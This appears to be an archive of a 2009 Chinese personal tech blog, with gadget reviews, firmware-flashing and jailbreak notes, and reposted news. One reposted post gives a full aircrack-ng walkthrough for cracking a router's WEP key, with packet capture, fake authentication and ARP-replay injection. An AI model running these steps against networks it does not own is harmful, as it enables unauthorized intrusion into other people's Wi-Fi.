屏幕键盘和iphone相似,而且也支持震动反馈(拆解表明g1有两个震子,一个在上半滑盖屏幕附近负责震动反馈等,一个在照相按键旁负责大振幅振动如电话短信等,双震设计很不常见…)和竖屏横屏键盘自动转换。内置的google输入法联想能力和学习能力很强,很好用。目前还没发现这个google拼音能与pc端同步词库…能的话就无敌了。

三、电池

这个我最开始能发现的缺点肯定是这个无疑了。如果打开3g模式,不管是否处于3g下,其耗电量是3小时30%,我在国贸地铁站附近开始用30%剩余的g1,等到了大钟寺城铁站,电力已经depleted了。

后来经过满电力正常试用(关3g模式,挂twidroid,push gmail),大约1天用掉50%。电力一般。

四、软件

软件不得不说,因为当初的确没意识到google android market会如此迅猛发展起来,而android的软件也如雨后春笋般爆发。

由于移动OMS平台的跟进,很多国内特色的软件有了“官方版本”。比如凯利德导航,比如qq,比如飞信。当然,现在

android上本身软件易于移植,像anfetion这样的飞信软件非常优秀。凯利德则是大家都认为android导航暂时无望的一个惊喜(完美导航啊)。

关于导航,今天特地做了测试,g1搜星非常快,基本上可以说秒搜了。打开凯利德不出几秒就会锁定卫星开始定位。凯利德完完全全从wm上移植过来,功能没有缺失,很不错。

android软件的缺憾可能是im上暂时由于腾讯着手开发qq而导致国内android开发者停止开发android qq。等吧,qq会有的,软件都会有的。

关于软件安装:几乎全部的android软件都可以通过market(内置的ota)安装,而且软件搜索方便,全无兼容性之担忧。

当然,也可以从sd卡上安装,格式为apk。

目前可以通过把sd卡划分出一个ext2分区的方式来使用app2sd(目前多数的rom都内置该模块),也就是装程序到卡上。当然运行的时候还是会读入到内置存储器做缓存。

五、网络应用

mms功能很苹果的缺失了。而且是因为wap和net链接不能共存(软件问题,据说09年底个google补丁解决之)导致的。因此现在收彩信的唯一方法是放弃gmail push和各种同步(联系人和日历与google同步),采用wap接入点…这个俺接受不能,故而放弃彩信接受。不过彩信发送不成问题。

浏览器我要赞。仅次于mobile safari的网络体验!对网页的飞速渲染绝对不是wm上的任何一款浏览器能比的(bb的browser就算了……)。而且对于google内置服务(reader,note,document)更是变本加厉无与伦比的完美支持。

六、操作方式

我对Adnroid大爱的另一个原因就是Android的多任务处理性能太优越了。举个例子:今天下午开着凯立德,挂着Twidroid和飞信,居然这三个程序来回切是毫无迟滞感的。大家不妨设想一下同为192RAM的WM机开凯立德导航+两个网络应用程序会是何等景象?肯定卡……不过目前而言,Android多任务的一个死穴便是只能同时后台6个,而且所有你开过的东西都驻留后台(比如依次打开Messages Gmail Twidroid AnFetion 凯立德和Settings,那么这六个程序都会驻留后台),只能有6个Slot容纳后台程序,第七个程序会把第六个程序挤掉(也就是关闭)。好在目前有TaskManager可以解决这个问题。

至于为什么Settings也会驻留后台当作程序,那就需要依靠Linux图形界面的思维了。按照linux的模式,桌面以及一切GUI都是一个命令行下的程序而已。所以settings就是一个设定手机的程序。

由此看来,如果没用过linux或者macos,那么g1对你来说,想玩转它困难了点。因为很多很高级的功能如果想实现或者想理解那是做什么时候用的话,需要有一定的unix知识。比如很多人到现在也不明白为何要取得root权限…

当然我很喜欢这个能够进入命令行用两条命令代替繁琐点击拖拽来完成工作。更何况linux上存在大量的优秀的终端软件,这些软件恐怕要比带有gui的更容易移植。

暂时先写到这,呵呵,改日上软件推介。

ps:本文在g1上由Documents To Go中的word to go完成。

目前我g1的主要软件列表(rom预装的不算)

twidroid twitter客户端

anfetion 飞信客户端

指南针 无需网络即可依靠内置电磁罗盘确定方向的小软件

凯利德 gps导航软件

anmms 彩信查看器

…………

Friday, June 12, 2009

专利打手SISVEL染指CDMA:每台设备缴纳1美元


Sent to you via Google Reader

专利打手SISVEL染指CDMA:每台设备缴纳1美元

感谢知道TD的好处了吗?的投递


专利管理机构SISVEL CDMA2000今天推出一项新的联合专利授权计划,该计划将就基本的CDMA2000专利,在公平合理、非歧视的条件下向所有用户提供授权。

中国的消费电子企业对于SISVEL并不陌生,近年该公司来多次在欧洲的电子展会上知会德国海关,对中国的MP3等产品进行查抄。华旗、纽曼、台积电等MP3企业,海信、海尔等平板电视企业和手机企业都曾尝受SISVEL挥舞的专利大棒。


Sent from my iPod

Monday, June 08, 2009

President Barack Obama's BlackBerry Has Been Hacked!


下午11:32(3 分钟前)


 


 CrackBerry.com blogs 作者:cate






Obama's BlackBerry

According to FoxNews.com, Kasper Hauser has done the impossible - hacked into President Barack Obama's BlackBerry.  All messages will be copied into a new book that will be released today by publisher Little Brown and Company Obama's Blackberry features sensitive BlackBerry messages from the Commander in Chief, Vice President Joe Biden, Secretary of State Hillary Clinton, California Governator Arnold Schwarzenegger, and even Nuclear Command Control itself.  Really, how could the President be so careless and foolish?  How could this situation seem so... surreal?  Well, maybe because it is.  Fear not, Kasper Hauser is a San Francisco-based comedy group that wrote this book containing intermittent text messages between political figures so don't worry; the future of Western Civilization is not as endangered as we may have thought.  The book's press release clearly states that it "is not endorsed, sponsored, affiliated with, or otherwise authorized by Research in Motion Limited, the owner of the trademark BlackBerry."

Friday, May 22, 2009

iPod Touch2 16GB越狱(Jail Break)手记

iPod Touch(以下简称iTouch)究竟要不要JailBreak,我仅仅犹豫了几秒钟,就决定我需要JailBreak一下。

原因:

1、JailBreak后可以达成多任务处理;

2、JailBreak后可以实现类Unix操作(命令行终端,软件包管理,etc);

3、JailBreak后有N多以前垂涎的软件和游戏可以不花$玩到用到。

JailBreak我用的是redsn0w 0.3,win下操作。

一开始比较曲折,我在学校,没有全局代理,所以每次用redsn0w总是卡在Connecting to server上,然后3次不行之后意识到可能Win下没有全局代理,只得熬到周五回家才破的。

然后还有就是DFU模式。这个没什么难进的,搞不明白为什么那么多小白卡在这里。最简单的方法,就是先开iTunes,把iTouch连上电脑,然后电源键和Home键同时长按,10秒钟后松开电源键而不要松Home,直到iTunes出现“检测到处于恢复模式的iPod”那个对话框后,再松开Home键。这时候机器处于DFU模式,然后直接双击打开redsno0w,出现如下画面

Capture

然后是这样的画面

Capture2

说一下就是,Vista下和Win7下用redsn0w有很高几率卡在上图所示的Waiting for reboot上。

反正我的win7 build 7100就卡在那里了。什么“拔下换个USB口再插上”之类的方法都不管用。最后用家里的装XP SP3的台机一次成功。

所以我想要提醒的就是,最好用XP进行JailBreak,成功率很高。

附几张Jail Break进行中的照片:

IMG00010-20090522-1458

完成Jail Break的台机实际上已经快完蛋了。显示器上的竖条貌似是显示器的毛病(不排除9800SE古董显卡的问题)

IMG00011-20090522-1459

Friday, May 08, 2009

Leaked: OS 5.0.0.93 for the BlackBerry Bold and Curve 8900!

by Kevin Michaluk CrackBerry.com blogs


AT&T's booth at WES had a BlackBerry Bold running OS 5.0.0.93 on it, so it's only fitting that you can too! If you're using a Bold or 8900 and want to get a taste of 5.0, you can follow the links below. Be sure to read through the forums... not all apps are going to work on 5.0 at this time, so you may not want this on your daily driver. Enjoy!! 


*OS Disclaimer - Please Read: Keep in mind this is NOT an official release and as such is not supported by RIM or your Carrier. If you choose to install, do so at your own risk and only if you're comfortable in the process of upgrading and downgrading your device software. It is quite normal during operating system development for certain features to be crippled or disabled while others are tested, and these beta builds often reflect that. They are not always better. Depending on your BlackBerry comfort level, it may be best for you to wait for community feedback on a build before deciding to download and install for yourself or simply wait for the next official release. If you require support, you will find it in our CrackBerry forums via our extremely knowledgeable community base - do not contact your carrier or RIM for Beta OS technical support (their first course of action will be to advise you to downgrade to a supported OS).

Thursday, May 07, 2009

找到导致win7 7100/7068先蓝屏后黑屏无法进入桌面的元凶了

金山毒霸仅在beta 7000下正常,但是在7100/7068下更新了apr.27的病毒库后会导致先蓝屏,dump到100后手动重启无法进入桌面。 安全模式卸载之即可解决。

Wednesday, May 06, 2009

联通WCDMA牛刀小试

总共两种手机,在北三环蓟门桥附近,使用四川自贡联通新势力卡(SIM卡为SuperSIM 16in1复制的,证明SuperSIM可以支持未来联通的卡,也证明联通支持不换号不换卡用WCDMA)

第一个是Telstra定制的翻盖手机。中兴生产。水货。

IMG00047-20090506-0935 IMG00048-20090506-0935

Touch Diamond,东欧版

IMG00049-20090506-1020 IMG00050-20090506-1021

可惜由于该号码已经停机,所以没法测试网速了。

Sunday, May 03, 2009

搜狗浏览器的加速还可以这样用

ugmbbc发布于 2009-05-03 18:36:46|

感谢我就是那个王林的投递
 
Sogou教育网加速是在后台新建一个子进程,专门做代理使用的,打开这个子进程后,Sogou浏览器会在本地8081端口创建一个代理。然后我们在用Sogou浏览器的时候,系统就会使用这个代理来上网。
弄清这个原理以后,我们就可以利用Sogou浏览器的这个特点来实现对其它浏览器的加速了.

其实也很简单,这里有两个实现方法:


1. 最傻瓜式:

这个方法很简单,就是打开Sogou浏览器,然后将其教育网加速功能打开。这里候,再把你想用的浏览器的代理服务器地址设为"127.0.0.1",把端口设为"8081",支持https,http;(如果你不知道怎么设置代理服务器,先google吧)然后,你的浏览器速度就飞快了。

但是,这种方法有一个很明显的缺点,就是必需得开着Sogou,虽然现在大家内存都很大,但是怎么看怎么碍眼。所以就有第二种方法了。


2. 稍微进阶式:

其实也不难,按"Win"+"R"键打开运行对话框输入"C:\Program Files\SogouExplorer\SogouExplorer.exe -proxy"(以我的系统安装的为例,具体使用时把前面的那个地址替换成你的地址即可,不过别忘了后面的-proxy);这样一来,你就不用打开 Sogou浏览器,使用它的加速进程了。

如果还觉得麻烦的话。可以在注册表的启动项里面添加一条记录,具体在: [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun],然后,添加一个 string变量,名字自己取,值就是那个"C:\Program Files\SogouExplorer\SogouExplorer.exe -proxy"。然后就可以了。

特别感谢:byr论坛(噢耶…又是BYR) Geeti提供的方法。
PS: 在sogou浏览器1.1版,windows 7下测试有效。

本文来自Ley's Blog,转载请注明出处

Saturday, May 02, 2009

[ZT]Linux下破解路由器WEP加密

系统:Archlinux,无线网卡:TP-LINK321G+,加密方式:WEP

破解前的准备:

安装aircrack-ng,安装iw(看需要)

破解过程:

1. 启动无线网卡的监控模式,终端中运行(wlan0是无线网卡的端口,可在终端中输入 ifconfig -a 查看)

$ sudo airmon-ng start wlan0


2.  查看有哪些采用wep加密的路由器(AP)在线及其详细信息(启动监控模式后无线网的端口是 mon0)


$ sudo airodump-ng mon0

然后按 ctrl+c 退出,保留终端

3. 另开一个终端,运行

$ sudo airodump-ng -c 6 --bssid AP's MAC -w wep mon0
其中6是AP的信道(channel),AP'sMAC是路由器的MAC地址,wep的是抓下来的数据包DATA保存的文件名

4. 再另开一个终端,与AP建立虚拟连接

$ sudo aireplay-ng -1 0 -a AP's MAC -h My MAC mon0
5. 建立虚拟连接成功后,运行

$ sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP's MAC -h My MAC mon0

回头看下步骤3的终端是不是DATA在开始飞涨?

6. 收集5000个以上的DATA之后,开始进行解密 。另开一个终端,运行

$ sudo aircrack-ng wep*.cap


如果暂时没算出来的话,继续等,aircrack-ng 会在DATA每增加5000个之后自动再次运行,直到算出密码为止

7. 破解成功后,关闭监控模式

$ sudo airmon-ng stop mon0

我遇到的问题及其解决:

第一步,显示

ERROR: Neither the sysfs interface links nor the iw command is available.
Please download and install iw from http://dl.aircrack-ng.org/iw.tar.bz2
按提示安装iw即可

第四步,虚拟连接成功的话应该显示

12:52:28  Waiting for beacon frame (BSSID: 00:19:E0:XX:XX:XX) on channel 8

12:52:28  Sending Authentication Request (Open System) [ACK]
12:52:28  Authentication successful
12:52:28  Sending Association Request [ACK]
12:52:29  Association successful :-) (AID: 1)

Friday, April 24, 2009

爱尔兰B公式计算器手机版(For Windows Mobile)

顾名思义

给Windows Mobile用的爱尔兰B公式计算器。

我在NETCF3.5+WinMo5,NETCF2+WinMo5模拟器测试下都没有问题。

请各位随意输入数字计算,看看会有什么问题。

程序仓促,没有容错功能。

如果你不知道自己的WinMo是NETCF什么版本,用NETCF2.0版的

.NET CF 3.5版


.NET CF 2.0版

Tuesday, April 21, 2009

BlackBerry视频转换研究

发现网上还没有完整的视频转换教程,因此想分享一下自己的经验,欢迎大家与我交流。

这里首先需要说明的是,越简单傻瓜的压缩方法,压出来的东西可能不尽如人意:比如文件体积,清晰度和分辨率都不理想,所以如果想兼顾体积、码率与清晰度,只能自己手动调整参数。

先说最简单的方法:
用暴风转码这个软件,可以轻松通过预置的模板转换,比如给88/83/BOLD提供的模板。转换速度令人满意,3XX MB的RMVB,转换为QVGA分辨率的MPEG4编码MP4文件给BOLD,转换完成用了11分钟,转换后文件大小为6XX MB,文件播放流畅,但是体积过大。

再说比较复杂但是具备理想压缩比的。

我们知道BB的media player支持如下视频编码格式:h263, MPEG4,xvid,divx...这些资料可以去RIM网站查到,不再赘述。

下载mediacoder,视频编码选择mpeg4,帧率控制在25以内,不需要b帧,分辨率可以等比例缩小到你设备所能显示的最大宽度(比如片源为1080p,那么你需要缩小到宽度为320p的)。

当然,你也可以尝试其他BB支持的编码格式,比如xvid,h263,这样压缩出来的avi视频应该是可以在BB上播放的,而且文件大小合适,清晰度能达到设备最大值。比如320MB的divx编码的AVI,转换后文件体积为31x MB,流畅+清晰播放。

补充:下午试了一下xvid编码MP4,将一个divx编码avi格式,体积为1.12G的文件转换完成后,大小只有426MB,接近50%的压缩,而且画质无损。很完美的结果了。

另:我在mediacoder里面用H263似乎没法压缩,总是报错,因此目前先不提供H263的测试报告。暂且用着xvid吧。

Thursday, April 16, 2009

细腻的香甜----BlackBerry Curve 8900 上手初感


因为某些原因(经济上的),我收购了一台非处女的8900,不过成色还算赞,至少能够让我有机会亲近传说中高分辨率的BB

 

入手的过程这里就不再赘述,但是要感谢梁子哥的热情相助,没有他的帮忙,我是不可能那么快就拿到8900的。

 

一、初碰8900

 

由于没有了包装盒,我就简单粗暴地打开了快递包装,8900的带电重量很明显要比8820轻,握感和8820差不多,不同的是8820都是全漆面外壳,磨擦系数小,不上盾容易脱手,而8900裸机则是两侧和背面电池盖下部有防滑橡胶层,改善手感,防止滑脱。而且仔细看能发现8900的银边不是高光的,而是一种哑光面,不会做指纹收集器。

 

背盖是拟真度很高的金属拉丝,实际上是塑料,不过还是不错的。个人以为BOLD真机的皮盖比较臃肿,8900比较干练。键盘手感不错,有人说和83XX差不多,但是我没用过83,倒是用过单独颗粒分布的palm centrocentro的机械感没有89强,也就是说,它的胶质键盘比较软,不像89按下去的机械回馈那么清爽。89键盘键粒本身是有弹性的,这点和centro相似,和88XX不同。个人感觉手感不错,和BOLD真机对比觉得9000的键盘键粒感觉很接近88XX。两者我都能接受,但是现在显然更偏向于8900。对于Trackball来说,感觉9000比较轻盈,而且外露部分比较少,又因为BOLD机身宽大,所以显得它的Trackball很小。88XX则外露50%,按下去很硬朗,而8900则露出部分介于88Bold之间,在保持较好滚动手感的同时,也顾及了按下的手感,不会感到硌手。由此我更加倾心于8900。大概也是因为89的键盘和Trackball能带给我一种细腻的感觉吧。

 

说到细腻,屏幕是不得不说的。号称有half-VGA级别屏幕(参见官网)的8900,一定能在开机第一时间震撼到你。几天前我见识到了同为高分屏的95XXBOLD,也仍然还是为8900喝彩,在缩小尺寸的屏幕上有了比BOLD更高的分辨率,而且还拥有相当耀眼的LED提示灯,8900自然能够吸引你的注意。

 

二、入口细品

 

当然8900可不是徒有其表,虽然CPU稍逊BOLD,不过它依旧能给你带来箭步如飞的迅捷感受,8900用有比BOLD大的多的内存,在BB这样一个程序内存和存储内存共享的设备架构中,相信更大内存的意义不言自明了吧?实际使用中可以开比较多的后台而不迟滞。

 

输入法则是另一个让我感到耳目一新的地方。我之前没用过4.6OS,所以对这系统的输入法不了解。不过发现虽然不能用数字键选字,但是却能用trackball上下选,确实比88XXalt+trackball翻页强很多……

 

        另一个让我感到惊喜的地方,自然是那个“BedSide Mode”个人以为相当贴心的功能,对于我这样每天都是宿舍第一个爬起来,而且对闹钟依存度达到100%的人来说,如果哪天睡觉忘了Turn Off BB,那么就要被BB辐射一晚上……BedSide  Mode可以设置为一旦进入就关闭Radio,这样就相当于一个处于飞行模式的BB,不会有网络活动,也自然大大降低了枕边手机的辐射。进入Bedside Mode后,屏幕变暗,方便夜晚看表,呵呵呵呵。

 

呃,看来偶的败机生涯不会结束了……

祝各位BBer败机顺心……早败早安心~

Wednesday, April 15, 2009

OS 5.0.0.90 For Curve 8900 小白鼠试用笔记

 昨天经历了第一次跨Vendor的刷机,因为之前仅对跨Vendor刷机步骤有所耳闻,没有亲手操作过,故而昨天闹了大笑话。
   回归正题。
    昨晚在Win7 Build7068下用Destop Manager 4.7、OS4.6.199、OS5.0.90完成了OS5的混刷小白鼠实验。
    具体方法是:安装4.6,安装5.0,把5.0拷入4.6覆盖,卸载5.0,打开Loader,刷机。过程很快。需要注意的是,就算选了中文输入法,到时候也是白扯的。没法用……
    等了一小会,刚刚熄灯的时候,看到了OS5的进度条……但是有了进度条我也觉得启动速度不快,而且没有任何心理作用能让我觉得5.0启动速度快了,相反,OS5的进度条因为总卡在15%的地方,让我觉得OS5启动比4.6还慢。
 
进入OS5之后,已经12点多了,我眼睛因为先前曲折的刷机道路而变得异常疲劳。试了一下Twitter正常,Vlingo正常,就直接设了个闹钟睡觉了(此时电力100%)
早上起来,朦胧之中等闹钟响,结果再睡再醒之后闹钟还是没响,情急之下手动开机——没反应……小激灵一下,不会虾米了吧……顿时睡意全无,拔电池,重开,红灯常亮——灭……死寂
 
我囧
 
下床开电脑,接上……依旧木反应……我不要OS5……我要OS4.6……良久,出现一个电池标志……看来手机没砖,但是也心生疑窦,这OS5还不到10小时关机就把电烧完了?
还是毅然决然换回4.6……
 
===============
另:刷机的囧事
 
因为一直没有注意到vendor.xml这事,所以那天在win7下各种装OS各种装DM死活不提示刷机。众莓友蛊惑之,说是Win7刷机不能,Leon桑也说我米有好好看他之前的win7白鼠帖。
于是毅然切Ubuntu用VirtualBox虚拟XP。安装过程顺利,但是脑残的VirtualBox提供的开源OSE版本居然TMD不支持USB……上网G了很久,所有解决方案均无效,后来还是BB到VirtualBox首页(诅咒一下SB校园网),才发现OSE版本压根就没有USB设备支持。---此处浪费2小时
想到FTP上貌似有VMware,遂决定一试……结果到一半卡壳……当时困顿至极,而且心有不甘于是跑到别人机器上用山寨版搜狗浏览器秒了一个闭源版VirtualBox,发现还是不能人移动硬盘,不过U盘倒是能认,而且我也不确定他到底能不能认BB(网上有说不认手机连接的)
硬着头皮用狭小的1G优盘倒了2次把DM和两个OS倒入虚拟机,发现还是不能刷(因为还没意识的vendor.xml)
遂大囧
还好在群里碰到SQ朝我索要图片,顺带提到了这事,SQ说V什么需要改……我这才陡然想起,我这个不论是OS4.6还是OS5.0,Vendor都不一定和我的ROGERS对上,怪不得不能刷……以前8820的时候用的都直接是Vendor对口的ROM,也就淡忘了要去掉Vendor这件事。。。。并不是我短路哈……总有第一次经历的时候
以上
===============